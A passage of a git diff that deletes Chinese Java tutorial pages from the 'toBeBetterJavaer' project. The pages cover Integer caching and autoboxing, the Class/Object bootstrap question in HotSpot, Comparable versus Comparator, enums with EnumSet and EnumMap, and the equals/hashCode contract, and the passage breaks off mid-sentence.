-“嗯嗯,三妹,你分析的很有逻辑,但第二段代码的结果为 true,是不是感到很奇怪?” - -“为什么会这样呀?”三妹急切地问。 - -### IntegerCache - -“你说的没错,自动装箱是通过 `Integer.valueOf()` 完成的,我们来看看这个方法的源码就明白为什么了。” - -```java -public static Integer valueOf(int i) { - if (i >= IntegerCache.low && i <= IntegerCache.high) - return IntegerCache.cache[i + (-IntegerCache.low)]; - return new Integer(i); -} -``` - -是不是看到了一个之前见过的类——[IntegerCache](https://javabetter.cn/basic-extra-meal/int-cache.html)? - -“难道说是 Integer 的缓存类?”三妹做出了自己的判断。 - -“是的,来看一下 IntegerCache 的源码吧。” - -```java -private static class IntegerCache { - // 缓存的最小值,默认为 -128 - static final int low = -128; - - // 缓存的最大值,默认为 127,但可以通过 JVM 参数配置 - static final int high; - static final Integer cache[]; - - static { - // 默认情况下 high 值为 127 - int h = 127; - - // 通过系统属性获取用户可能配置的更高的缓存上限 - // integerCacheHighPropValue 是一个字符串,代表配置的高值 - int i = parseInt(integerCacheHighPropValue); - - // 确保缓存的最高值至少为 127 - i = Math.max(i, 127); - - // 设置 high 的值,但不能超过 Integer.MAX_VALUE - (-low) - 1 - h = Math.min(i, Integer.MAX_VALUE - (-low) - 1); - high = h; - - // 初始化缓存数组,大小为 high - low + 1 - cache = new Integer[(high - low) + 1]; - - // 填充缓存,从 low 开始,为每个值创建一个 Integer 对象 - int j = low; - for(int k = 0; k < cache.length; k++) - cache[k] = new Integer(j++); - - // 断言确保 high 的值至少为 127,这是 Java 语言规范要求的 - assert IntegerCache.high >= 127; - } -} -``` - -大致瞟一下这段代码你就全明白了。-128 到 127 之间的数会从 IntegerCache 中取,然后比较,所以第二段代码(100 在这个范围之内)的结果是 true,而第三段代码(200 不在这个范围之内,所以 new 出来了两个 Integer 对象)的结果是 false。 - -“三妹,看完上面的分析之后,我希望你记住一点:**当需要进行自动装箱时,如果数字在 -128 至 127 之间时,会直接使用缓存中的对象,而不是重新创建一个对象**。” - -### 自动拆箱的注意事项 - -“自动装拆箱是一个很好的功能,大大节省了我们开发人员的精力,但也会引发一些麻烦,比如下面这段代码,性能就很差。” - -```java -long t1 = System.currentTimeMillis(); -Long sum = 0L; -for (int i = 0; i < Integer.MAX_VALUE;i++) { - sum += i; -} -long t2 = System.currentTimeMillis(); -System.out.println(t2-t1); -``` - -“知道为什么吗?三妹。” - -“难道是因为 sum 被声明成了包装类型 Long 而不是基本数据类型 long。”三妹若有所思。 - -“是滴,由于 sum 是个 Long 型,而 i 为 int 类型,`sum += i` 在执行的时候,会先把 i 强转为 long 型,然后再把 sum 拆箱为 long 型进行相加操作,之后再自动装箱为 Long 型赋值给 sum。” - -等后面你学了 [javap](https://javabetter.cn/jvm/bytecode.html) 命令之后,就可以通过 `javap -v xxx.class` 命令来查看这段代码的执行过程。 - -![](https://cdn.paicoding.com/stutymore/box-20231231092746.png) - -从这里面,你应该能看到 `Long.valueOf()` 和 `Long.longValue()` 的身影。它们分别对应了自动装箱和自动拆箱。 - -“三妹,你可以试一下,把 sum 换成 long 型比较一下它们运行的时间。” - -。。。。。。 - -“哇,sum 为 Long 型的时候,足足运行了 5825 毫秒;sum 为 long 型的时候,只需要 679 毫秒。” - -“好了,三妹,今天的主题就先讲到这吧。我再去来根华子。” - -### 总结 - -今天我们讲了拆箱和装箱的概念,以及包装类型和基本数据类型之间的区别。最后,我们还讲了自动装箱和自动拆箱的原理,以及自动拆箱的注意事项。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-extra-meal/class-object.md b/docs/src/basic-extra-meal/class-object.md deleted file mode 100644 index b49fcb7627..0000000000 --- a/docs/src/basic-extra-meal/class-object.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Java 中,先有Class还是先有Object? -shortTitle: 先有Class还是先有Object? -category: - - Java核心 -tag: - - Java重要知识点 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,Java 中,先有Class还是先有Object? -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,class,object ---- - - - -Java 对象模型中: - -- 所有的类都是Class类的实例,Object是类,那么Object也是Class类的一个实例。 -- 所有的类都最终继承自Object类,Class是类,那么Class也继承自Object。 - -那到底是先有Class还是先有Object? JVM 是怎么处理这个“鸡·蛋”问题呢? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/class-object-2f47490c-70b8-41b8-9551-42c2f98eea91.png) - -针对这个问题,我在知乎上看到了 R 大的一个回答,正好解答了我心中的疑惑,就分享出来给各位小伙伴一个参考和启发~ - ->作者:RednaxelaFX,整理:沉默王二,参考链接:[https://www.zhihu.com/question/30301819/answer/47539163](https://www.zhihu.com/question/30301819/answer/47539163) - ------ - -“鸡・蛋”问题通常都是通过一种叫“自举”(bootstrap)的过程来解决的。 - -“鸡蛋问题”的根本矛盾就在于假定了“鸡”或“蛋”的其中一个要先进入“完全可用”的状态。而许多现实中被简化为“鸡蛋问题”的情况实际可以在“混沌”中把“鸡”和“蛋”都初始化好,而不存在先后问题;在它们初始化的过程中,两者都不处于“完全可用”状态,而完成初始化后它们就同时都进入了可用状态。 - -打个比方,番茄炒蛋。并不是要先把番茄完全炒好,然后把鸡蛋完全炒好,然后把它们混起来;而是先炒番茄炒到半熟,再炒鸡蛋炒到半熟,然后把两个半熟的部分混在一起同时炒熟。 - -对于**先有Class还是先有Object**这个问题来说,题主假设所有的类都是Class类的实例,Object是类,那么Object也是Class类的一个实例,这个假设就是错的。 - -`java.lang.Object`是一个Java类,但并不是`java.lang.Class`的一个实例。后者只是一个用于描述Java类与接口的、用于支持反射操作的类型。这点上Java跟其它一些更纯粹的面向对象语言(例如Python和Ruby)不同。 - -第二个假设“所有的类都最终继承自Object类,Class是类,那么Class也继承自Object”是对的,`java.lang.Class`是`java.lang.Object`的派生类,前者继承自后者。 - -虽然第1个假设不对,但“鸡蛋问题”仍然存在:在一个已经启动完毕、可以使用的Java对象系统里,必须要有一个`java.lang.Class`实例对应`java.lang.Object`这个类;而`java.lang.Class`是`java.lang.Object`的派生类,按“一般思维”,前者应该要在后者完成初始化之后才可以初始化… - -事实是:这些相互依赖的核心类型完全可以在“混沌”中一口气都初始化好,然后对象系统的状态才叫做完成了“bootstrap”,后面就可以按照Java对象系统的一般规则去运行。JVM、JavaScript、Python、Ruby等的运行时都有这样的bootstrap过程。 - -在“混沌”(boostrap过程)里,JVM可以为对象系统中最重要的一些核心类型先分配好内存空间,让它们进入[已分配空间]但[尚未完全初始化]状态。 - -此时这些对象虽然已经分配了空间,但因为状态还不完整所以尚不可使用。然后,通过这些分配好的空间把这些核心类型之间的引用关系串好。 - -到此为止所有动作都由JVM完成,尚未执行任何Java字节码。然后这些核心类型就进入了[完全初始化]状态,对象系统就可以开始自我运行下去,也就是可以开始执行Java字节码来进一步完成Java系统的初始化了。 - -在HotSpot VM里,有一个叫做“Universe”的C++类用于记录对象系统的总体状态。它有这么两个有趣的字段记录当前是处于bootstrapping阶段还是已经完全初始化好: - -``` -static bool is_bootstrapping() { return _bootstrapping; } -static bool is_fully_initialized() { return _fully_initialized; } -``` - -然后`Universe::genesis()`函数会在bootstrap阶段中创建核心类型的对象模型,其中会调用`SystemDictionary::initialize()`来初始化对象系统的核心类型,其中会进一步跑到`SystemDictionary::initialize_preloaded_classes()`来创建`java.lang.Object`、`java.lang.Class`等核心类型。 - -这个函数在加载了`java.lang.Object`、`java.lang.Class`等核心类型后会调用`Universe::fixup_mirrors()`来完成前面说的“把引用关系串起来”的动作: - -``` -// Fixup mirrors for classes loaded before java.lang.Class. -// These calls iterate over the objects currently in the perm gen -// so calling them at this point is matters (not before when there -// are fewer objects and not later after there are more objects -// in the perm gen. -Universe::initialize_basic_type_mirrors(CHECK); -Universe::fixup_mirrors(CHECK); - -void Universe::fixup_mirrors(TRAPS) { - // Bootstrap problem: all classes gets a mirror (java.lang.Class instance) assigned eagerly, - // but we cannot do that for classes created before java.lang.Class is loaded. Here we simply - // walk over permanent objects created so far (mostly classes) and fixup their mirrors. Note - // that the number of objects allocated at this point is very small. - - // ... -} -``` - -就是这样:“**Object里有一个成员变量指向Class类实例c,c保存这个Object成员、方法的名字和地址的Map映射用作反射**。”涉及到主类有这么几个: - -``` -http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/ade5be2b1758/src/share/vm/memory/universe.hpp#l399 -http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/ade5be2b1758/src/share/vm/memory/universe.cpp#l259 -http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/ade5be2b1758/src/share/vm/classfile/systemDictionary.cpp#l1814 -``` - -分享的最后,二哥要简单说两句,每次看 R 大的内容,总是感觉膝盖忍不住要跪一下,只能说写过 JVM 的男人就是不一样。喜欢研究 CPP 源码的话小伙伴可以再深入学习下,一定会有所收获。 - ----- - - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - - - - - - - - - - diff --git a/docs/src/basic-extra-meal/comparable-omparator.md b/docs/src/basic-extra-meal/comparable-omparator.md deleted file mode 100644 index 5660e96daf..0000000000 --- a/docs/src/basic-extra-meal/comparable-omparator.md +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: Java Comparable和Comparator的区别 -shortTitle: Comparable和Comparator的区别 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文详细解析了 Java 中的 Comparable 和 Comparator 接口的区别,包括它们的特点、使用场景和实际应用示例。阅读本文,将帮助您更清晰地了解 Comparable 和 Comparator 在 Java 编程中的角色,从而更灵活地使用它们进行对象排序。 -head: - - - meta - - name: keywords - content: java,Comparable和Comparator,java Comparable, java Comparator,Comparable Comparator ---- - ->在前面学习[优先级队列](https://javabetter.cn/collection/PriorityQueue.html)的时候,我们曾提到过 Comparable和Comparator,那这篇继续以面试官的角度去切入,一起来看。 - -那天,小二去马蜂窝面试,面试官老王一上来就甩给了他一道面试题:请问Comparable和Comparator有什么区别?小二差点笑出声,因为三年前,也就是 2021 年,他在《[二哥的Java进阶之路](https://javabetter.cn/basic-extra-meal/comparable-omparator.html)》上看到过这题😆。 - -Comparable 和 Comparator 是 Java 的两个接口,从名字上我们就能够读出来它们俩的相似性:以某种方式来比较两个对象。 - -但它们之间到底有什么区别呢?请随我来,打怪进阶喽! - -### 01、Comparable - -Comparable 接口的定义非常简单,源码如下所示。 - -```java -public interface Comparable { - int compareTo(T t); -} -``` - -如果一个类实现了 Comparable 接口(只需要干一件事,重写 `compareTo()` 方法),就可以按照自己制定的规则将由它创建的对象进行比较。下面给出一个例子。 - -```java -public class Cmower implements Comparable { - private int age; - private String name; - - public Cmower(int age, String name) { - this.age = age; - this.name = name; - } - - @Override - public int compareTo(Cmower o) { - return this.getAge() - o.getAge(); - } - - public static void main(String[] args) { - Cmower wanger = new Cmower(19,"沉默王二"); - Cmower wangsan = new Cmower(16,"沉默王三"); - - if (wanger.compareTo(wangsan) < 0) { - System.out.println(wanger.getName() + "比较年轻有为"); - } else { - System.out.println(wangsan.getName() + "比较年轻有为"); - } - } -} -``` - -在上面的示例中,我创建了一个 Cmower 类,它有两个字段:age 和 name。Cmower 类实现了 Comparable 接口,并重写了 `compareTo()` 方法。 - -程序输出的结果是“沉默王三比较年轻有为”,因为他比沉默王二小三岁。这个结果有什么凭证吗? - -凭证就在于 `compareTo()` 方法,该方法的返回值可能为负数,零或者正数,代表的意思是该对象按照排序的规则小于、等于或者大于要比较的对象。如果指定对象的类型与此对象不能进行比较,则引发 `ClassCastException` 异常(自从有了[泛型](https://javabetter.cn/basic-extra-meal/generic.html),这种情况就少有发生了)。 - -### 02、Comparator - -Comparator 接口的定义相比较于 Comparable 就复杂的多了,不过,核心的方法只有两个,来看一下源码。 - -```java -public interface Comparator { - int compare(T o1, T o2); - boolean equals(Object obj); -} -``` - -第一个方法 `compare(T o1, T o2)` 的返回值可能为负数,零或者正数,代表的意思是第一个对象小于、等于或者大于第二个对象。 - -第二个方法 `equals(Object obj)` 需要传入一个 Object 作为参数,并判断该 Object 是否和 Comparator 保持一致。 - -有时候,我们想让类保持它的原貌,不想主动实现 Comparable 接口,但我们又需要它们之间进行比较,该怎么办呢? - -Comparator 就派上用场了,来看一下示例。 - -#### 1)原封不动的 Cmower 类。 - -```java -public class Cmower { - private int age; - private String name; - - public Cmower(int age, String name) { - this.age = age; - this.name = name; - } -} -``` - -Cmower 类有两个字段:age 和 name,意味着该类可以按照 age 或者 name 进行排序。 - -#### 2)再来看 Comparator 接口的实现类。 - -```java -public class CmowerComparator implements Comparator { - @Override - public int compare(Cmower o1, Cmower o2) { - return o1.getAge() - o2.getAge(); - } -} -``` - -按照 age 进行比较。当然也可以再实现一个比较器,按照 name 进行自然排序,示例如下。 - -```java -public class CmowerNameComparator implements Comparator { - @Override - public int compare(Cmower o1, Cmower o2) { - if (o1.getName().hashCode() < o2.getName().hashCode()) { - return -1; - } else if (o1.getName().hashCode() == o2.getName().hashCode()) { - return 0; - } - return 1; - } -} -``` - -#### 3)再来看测试类。 - -```java -Cmower wanger = new Cmower(19,"沉默王二"); -Cmower wangsan = new Cmower(16,"沉默王三"); -Cmower wangyi = new Cmower(28,"沉默王一"); - -List list = new ArrayList<>(); -list.add(wanger); -list.add(wangsan); -list.add(wangyi); - -list.sort(new CmowerComparator()); - -for (Cmower c : list) { - System.out.println(c.getName()); -} -``` - -创建了三个对象,age 不同,name 不同,并把它们加入到了 List 当中。然后使用 List 的 `sort()` 方法进行排序,来看一下输出的结果。 - -``` -沉默王三 -沉默王二 -沉默王一 -``` - -这意味着沉默王三的年纪比沉默王二小,排在第一位;沉默王一的年纪比沉默王二大,排在第三位。和我们的预期完全符合。 - -借此机会,再来看一下 sort 方法的源码: - -```java -public void sort(Comparator c) { - // 保存当前队列的 modCount 值,用于检测 sort 操作是否非法 - final int expectedModCount = modCount; - // 调用 Arrays.sort 对 elementData 数组进行排序,使用传入的比较器 c - Arrays.sort((E[]) elementData, 0, size, c); - // 检查操作期间 modCount 是否被修改,如果被修改则抛出并发修改异常 - if (modCount != expectedModCount) { - throw new ConcurrentModificationException(); - } - // 增加 modCount 值,表示队列已经被修改过 - modCount++; -} -``` - -可以看到,参数就是一个 Comparator 接口,并且使用了[泛型](https://javabetter.cn/basic-extra-meal/generic.html) `Comparator c`。 - -### 03、到底该用哪一个? - -通过上面的两个例子可以比较出 Comparable 和 Comparator 两者之间的区别: - -- 一个类实现了 Comparable 接口,意味着该类的对象可以直接进行比较(排序),但比较(排序)的方式只有一种,很单一。 -- 一个类如果想要保持原样,又需要进行不同方式的比较(排序),就可以定制比较器(实现 Comparator 接口)。 -- Comparable 接口在 `java.lang` 包下,而 `Comparator` 接口在 `java.util` 包下,算不上是亲兄弟,但可以称得上是表(堂)兄弟。 - -举个不恰当的例子。我想从洛阳出发去北京看长城,体验一下好汉的感觉,要么坐飞机,要么坐高铁;但如果是孙悟空的话,翻个筋斗就到了。我和孙悟空之间有什么区别呢? - -孙悟空自己实现了 Comparable 接口(他那年代也没有飞机和高铁,没得选),而我可以借助 Comparator 接口(现代化的交通工具)。 - -好了,关于 Comparable 和 Comparator 我们就先聊这么多。总而言之,如果对象的排序需要基于自然顺序,请选择 `Comparable`,如果需要按照对象的不同属性进行排序,请选择 `Comparator`。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-extra-meal/enum.md b/docs/src/basic-extra-meal/enum.md deleted file mode 100644 index 68eca8ebc6..0000000000 --- a/docs/src/basic-extra-meal/enum.md +++ /dev/null @@ -1,303 +0,0 @@ ---- -title: Java枚举:小小enum,优雅而干净 -shortTitle: Java枚举(enum) -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文全面介绍了Java枚举的概念、基础语法、高级应用以及在实际项目中的应用。通过详细的示例和解释,帮助读者深入理解枚举类型的使用 -head: - - - meta - - name: keywords - content: Java,枚举,enum,java 枚举,java enum ---- - -“今天我们来学习枚举吧,三妹!”我说,“同学让你去她家玩了两天,感觉怎么样呀?” - -“心情放松了不少。”三妹说,“可以开始学 Java 了,二哥。” - -“OK。” - -“枚举(enum),是 Java 1.5 时引入的关键字,它表示一种特殊类型的类,继承自 java.lang.Enum。” - -“我们来新建一个枚举 PlayerType。” - -```java -public enum PlayerType { - TENNIS, - FOOTBALL, - BASKETBALL -} -``` - -“二哥,我没看到有继承关系呀!” - -“别着急,看一下反编译后的字节码,你就明白了。” - -```java -public final class PlayerType extends Enum -{ - - public static PlayerType[] values() - { - return (PlayerType[])$VALUES.clone(); - } - - public static PlayerType valueOf(String name) - { - return (PlayerType)Enum.valueOf(com/cmower/baeldung/enum1/PlayerType, name); - } - - private PlayerType(String s, int i) - { - super(s, i); - } - - public static final PlayerType TENNIS; - public static final PlayerType FOOTBALL; - public static final PlayerType BASKETBALL; - private static final PlayerType $VALUES[]; - - static - { - TENNIS = new PlayerType("TENNIS", 0); - FOOTBALL = new PlayerType("FOOTBALL", 1); - BASKETBALL = new PlayerType("BASKETBALL", 2); - $VALUES = (new PlayerType[] { - TENNIS, FOOTBALL, BASKETBALL - }); - } -} -``` - -“看到没?Java 编译器帮我们做了很多隐式的工作,不然手写一个枚举就没那么省心省事了。” - -- 要继承 Enum 类; -- 要写构造方法; -- 要声明静态变量和数组; -- 要用 static 块来初始化静态变量和数组; -- 要提供静态方法,比如说 `values()` 和 `valueOf(String name)`。 - -“确实,作为开发者,我们的代码量减少了,枚举看起来简洁明了。”三妹说。 - -“既然枚举是一种特殊的类,那它其实是可以定义在一个类的内部的,这样它的作用域就可以限定于这个外部类中使用。”我说。 - -```java -public class Player { - private PlayerType type; - public enum PlayerType { - TENNIS, - FOOTBALL, - BASKETBALL - } - - public boolean isBasketballPlayer() { - return getType() == PlayerType.BASKETBALL; - } - - public PlayerType getType() { - return type; - } - - public void setType(PlayerType type) { - this.type = type; - } -} -``` - -PlayerType 就相当于 Player 的内部类。 - -由于枚举是 final 的,所以可以确保在 Java 虚拟机中仅有一个常量对象,基于这个原因,我们可以使用“==”运算符来比较两个枚举是否相等,参照 `isBasketballPlayer()` 方法。 - -“那为什么不使用 `equals()` 方法判断呢?”三妹问。 - -```java -if(player.getType().equals(Player.PlayerType.BASKETBALL)){}; -``` - -“我来给你解释下。” - -“==”运算符比较的时候,如果两个对象都为 null,并不会发生 `NullPointerException`,而 `equals()` 方法则会。 - -另外, “==”运算符会在编译时进行检查,如果两侧的类型不匹配,会提示错误,而 `equals()` 方法则不会。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/enum/enum-01.png) - -“枚举还可用于 switch 语句,和基本数据类型的用法一致。”我说。 - -```java -switch (playerType) { - case TENNIS: - return "网球运动员费德勒"; - case FOOTBALL: - return "足球运动员C罗"; - case BASKETBALL: - return "篮球运动员詹姆斯"; - case UNKNOWN: - throw new IllegalArgumentException("未知"); - default: - throw new IllegalArgumentException( - "运动员类型: " + playerType); - -} -``` - -“如果枚举中需要包含更多信息的话,可以为其添加一些字段,比如下面示例中的 name,此时需要为枚举添加一个带参的构造方法,这样就可以在定义枚举时添加对应的名称了。”我继续说。 - -```java -public enum PlayerType { - TENNIS("网球"), - FOOTBALL("足球"), - BASKETBALL("篮球"); - - private String name; - - PlayerType(String name) { - this.name = name; - } -} -``` - -“get 了吧,三妹?” - -“嗯,比较好理解。” - -“那接下来,我就来说点不一样的。” - -“来吧,我准备好了。” - -“EnumSet 是一个专门针对枚举类型的 [Set 接口](https://javabetter.cn/collection/gailan.html)(后面会讲)的实现类,它是处理枚举类型数据的一把利器,非常高效。”我说,“从名字上就可以看得出,EnumSet 不仅和 Set 有关系,和枚举也有关系。” - -“因为 EnumSet 是一个抽象类,所以创建 EnumSet 时不能使用 new 关键字。不过,EnumSet 提供了很多有用的静态工厂方法。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/enum/enum-02.png) - -“来看下面这个例子,我们使用 `noneOf()` 静态工厂方法创建了一个空的 PlayerType 类型的 EnumSet;使用 `allOf()` 静态工厂方法创建了一个包含所有 PlayerType 类型的 EnumSet。” - -```java -public class EnumSetTest { - public enum PlayerType { - TENNIS, - FOOTBALL, - BASKETBALL - } - - public static void main(String[] args) { - EnumSet enumSetNone = EnumSet.noneOf(PlayerType.class); - System.out.println(enumSetNone); - - EnumSet enumSetAll = EnumSet.allOf(PlayerType.class); - System.out.println(enumSetAll); - } -} -``` - -“来看一下输出结果。” - -```java -[] -[TENNIS, FOOTBALL, BASKETBALL] -``` - -有了 EnumSet 后,就可以使用 Set 的一些方法了,见下图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/enum/enum-03.png) - -“除了 EnumSet,还有 EnumMap,是一个专门针对枚举类型的 Map 接口的实现类,它可以将枚举常量作为键来使用。EnumMap 的效率比 HashMap 还要高,可以直接通过数组下标(枚举的 ordinal 值)访问到元素。” - -“和 EnumSet 不同,EnumMap 不是一个抽象类,所以创建 EnumMap 时可以使用 new 关键字。” - -```java -EnumMap enumMap = new EnumMap<>(PlayerType.class); -``` - -有了 EnumMap 对象后就可以使用 Map 的一些方法了,见下图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/enum/enum-04.png) - -和 [HashMap](https://javabetter.cn/collection/hashmap.html)(后面会讲)的使用方法大致相同,来看下面的例子。 - -```java -EnumMap enumMap = new EnumMap<>(PlayerType.class); -enumMap.put(PlayerType.BASKETBALL,"篮球运动员"); -enumMap.put(PlayerType.FOOTBALL,"足球运动员"); -enumMap.put(PlayerType.TENNIS,"网球运动员"); -System.out.println(enumMap); - -System.out.println(enumMap.get(PlayerType.BASKETBALL)); -System.out.println(enumMap.containsKey(PlayerType.BASKETBALL)); -System.out.println(enumMap.remove(PlayerType.BASKETBALL)); -``` - -“来看一下输出结果。” - -``` -{TENNIS=网球运动员, FOOTBALL=足球运动员, BASKETBALL=篮球运动员} -篮球运动员 -true -篮球运动员 -``` - -“除了以上这些,《Effective Java》这本书里还提到了一点,如果要实现单例的话,最好使用枚举的方式。”我说。 - -“等等二哥,单例是什么?”三妹没等我往下说,就连忙问道。 - -“单例(Singleton)用来保证一个类仅有一个对象,并提供一个访问它的全局访问点,在一个进程中。因为这个类只有一个对象,所以就不能再使用 `new` 关键字来创建新的对象了。” - -“Java 标准库有一些类就是单例,比如说 Runtime 这个类。” - -```java -Runtime runtime = Runtime.getRuntime(); -``` - -“Runtime 类可以用来获取 Java 程序运行时的环境。” - -“关于单例,懂了些吧?”我问三妹。 - -“噢噢噢噢。”三妹点了点头。 - -“通常情况下,实现单例并非易事,来看下面这种写法。” - -```java -public class Singleton { - private volatile static Singleton singleton; - private Singleton (){} - public static Singleton getSingleton() { - if (singleton == null) { - synchronized (Singleton.class) { - if (singleton == null) { - singleton = new Singleton(); - } - } - } - return singleton; - } -} -``` - -“要用到 [volatile](https://javabetter.cn/thread/volatile.html)、[synchronized](https://javabetter.cn/thread/synchronized-1.html) 关键字等等,但枚举的出现,让代码量减少到极致。” - -```java -public enum EasySingleton{ - INSTANCE; -} -``` - -“就这?”三妹睁大了眼睛。 - -“对啊,枚举默认实现了 [Serializable 接口](https://javabetter.cn/io/Serializbale.html),因此 Java 虚拟机可以保证该类为单例,这与传统的实现方式不大相同。传统方式中,我们必须确保单例在反序列化期间不能创建任何新实例。”我说。 - -“好了,关于枚举就讲这么多吧,三妹,你把这些代码都手敲一遍吧!” - -“好勒,这就安排。二哥,你去休息吧。” - -“嗯嗯。”讲了这么多,必须跑去抽烟机那里安排一根华子了。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/equals-hashcode.md b/docs/src/basic-extra-meal/equals-hashcode.md deleted file mode 100644 index ec6fed72e0..0000000000 --- a/docs/src/basic-extra-meal/equals-hashcode.md +++ /dev/null @@ -1,268 +0,0 @@ ---- -title: 为什么重写equals方法的时候必须要重写hashCode方法? -shortTitle: 为什么重写equals的时候必须重写hashCode -category: - - Java核心 -tag: - - Java重要知识点 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,为什么重写equals方法的时候必须要重写hashCode方法 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,hashcode,equals ---- - -“二哥,我在读《Effective Java》 的时候,第 11 条规约说重写 equals 的时候必须要重写 hashCode 方法,这是为什么呀?”三妹单刀直入地问。 - -“三妹啊,这个问题问得非常好,因为它也是面试中经常考的一个知识点。今天哥就带你来梳理一下。”我说。 - -Java 是一门面向对象的编程语言,所有的类都会默认继承自 [Object 类](https://javabetter.cn/oo/object-class.html),而 Object 的中文意思就是“对象”。 - -Object 类中有这么两个方法: - -```java -public native int hashCode(); - -public boolean equals(Object obj) { - return (this == obj); -} -``` - -**1)hashCode 方法** - -这是一个本地方法,用来返回对象的哈希值(一个整数)。在 Java 程序执行期间,对同一个对象多次调用该方法必须返回相同的哈希值。 - -**2)equals 方法** - -对于任何非空引用 x 和 y,当且仅当 x 和 y 引用的是同一个对象时,equals 方法才返回 true。 - -“二哥,看起来两个方法之间没有任何关联啊?”三妹质疑道。 - -“单从这两段解释上来看,的确是这样的。”我解释道,“但两个方法的 doc 文档中还有这样两条信息。” - -第一,如果两个对象调用 equals 方法返回的结果为 true,那么两个对象调用 hashCode 方法返回的结果也必然相同——来自 hashCode 方法的 doc 文档。 - -第二,每当重写 [equals 方法](https://javabetter.cn/string/equals.html)时,[hashCode 方法](https://javabetter.cn/basic-extra-meal/hashcode.html)也需要重写,以便维护上一条规约。 - -“哦,这样讲的话,两个方法确实关联上了,但究竟是为什么呢?”三妹抛出了终极一问。 - -“hashCode 方法的作用是用来获取哈希值,而该哈希值的作用是用来确定[对象在哈希表中的索引位置(HashMap 的时候会讲)](https://javabetter.cn/collection/hashmap.html)。”我说。 - -哈希表的典型代表就是 [HashMap](https://javabetter.cn/collection/hashmap.html),它存储的是键值对,能根据键快速地检索出对应的值。 - -```java -public V get(Object key) { - HashMap.Node e; - return (e = getNode(hash(key), key)) == null ? null : e.value; -} -``` - -这是 HashMap 的 get 方法,通过键来获取值的方法。它会调用 getNode 方法: - -```java -final HashMap.Node getNode(int hash, Object key) { - HashMap.Node[] tab; HashMap.Node first, e; int n; K k; - // 判断 HashMap 的 table 是否为 null 以及 table 长度是否大于 0 - if ((tab = table) != null && (n = tab.length) > 0 && - // 根据 hash 值计算出在 table 中的索引位置,并获取第一个节点 - (first = tab[(n - 1) & hash]) != null) { - // 判断第一个节点的 hash 值是否与给定 hash 相等,如果相等,则检查 key 是否相等 - if (first.hash == hash && - ((k = first.key) == key || (key != null && key.equals(k)))) - return first; - // 如果不相等,获取当前节点的下一个节点 - if ((e = first.next) != null) { - // 如果当前节点为 TreeNode 类型(红黑树),则调用 TreeNode 的 getTreeNode 方法查找 - if (first instanceof HashMap.TreeNode) - return ((HashMap.TreeNode)first).getTreeNode(hash, key); - // 如果不是红黑树节点,遍历链表查找 - do { - if (e.hash == hash && - ((k = e.key) == key || (key != null && key.equals(k)))) - return e; - } while ((e = e.next) != null); - } - } - // 如果没有找到对应的节点,则返回 null - return null; -} -``` - -通常情况(没有发生哈希冲突)下,`first = tab[(n - 1) & hash]` 就是键对应的值。**按照时间复杂度来说的话,可表示为 O(1)**。 - -如果发生哈希冲突,也就是 `if ((e = first.next) != null) {}` 子句中,可以看到如果节点不是红黑树的时候,会通过 do-while 